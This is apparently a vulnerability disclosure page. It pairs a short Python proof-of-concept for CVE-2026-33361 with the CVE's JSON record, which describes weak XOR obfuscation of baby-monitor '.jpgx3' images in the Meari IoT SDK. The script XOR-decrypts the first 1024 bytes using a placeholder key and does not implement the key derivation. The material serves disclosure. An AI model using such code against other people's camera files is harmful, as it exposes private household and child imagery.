CVE-2026-33361

import sys # PoC for CVE-2026-33361: Weak XOR Obfuscation in .jpgx3 files # This script demonstrates the decryption of the first 1024 bytes # based on the predictable key derivation model described in the advisory. def decrypt_jpgx3(file_path, key_bytes): try: with open(file_path, 'rb') as f: data = bytearray(f.read()) print(f"[*] Loaded file: {file_path}") print(f"[*] File size: {len(data)} bytes") # The vulnerability affects the first 1024 bytes cipher_size = 1024 key_len = len(key_bytes) print(f"[*] Decrypting first {cipher_size} bytes using XOR key...") for i in range(min(cipher_size, len(data))): # Apply reversible XOR operation data[i] ^= key_bytes[i % key_len] # Write decrypted data to a new file output_path = file_path.replace('.jpgx3', '_decrypted.jpg') with open(output_path, 'wb') as f: f.write(data) print(f"[+] Success! Decrypted data saved to: {output_path}") except FileNotFoundError: print("[-] Error: File not found.") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": # Example usage. In a real scenario, the key would be derived # from the predictable model mentioned in the CVE description. # This is a placeholder key for demonstration purposes. DEFAULT_KEY = b'\xAA\xBB\xCC\xDD' if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <path_to_file.jpgx3> [key_hex_string]") print("Example key (hex): AABBCCDD") else: target_file = sys.argv[1] key = DEFAULT_KEY if len(sys.argv) > 2: key = bytes.fromhex(sys.argv[2]) decrypt_jpgx3(target_file, key)

{"cve": {"id": "CVE-2026-33361", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-05-11T17:16:30.970", "lastModified": "2026-05-11T17:16:30.970", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Meari IoT SDK image handling (libmrplayer.so) as observed in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and related white-label apps (<= 1.8.x), baby monitor \".jpgx3\" files use reversible XOR over only the first 1024 bytes with a predictable key derivation model."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-326"}]}], "references": [{"url": "https://github.com/xn0tsa/nobody-puts-baby-in-a-corner", "source": "44488dab-36db-4358-99f9-bc116477f914"}, {"url": "https://www.runzero.com/advisories/meari-weak-xor-obfuscation-cve-2026-33361/", "source": "44488dab-36db-4358-99f9-bc116477f914"}]}}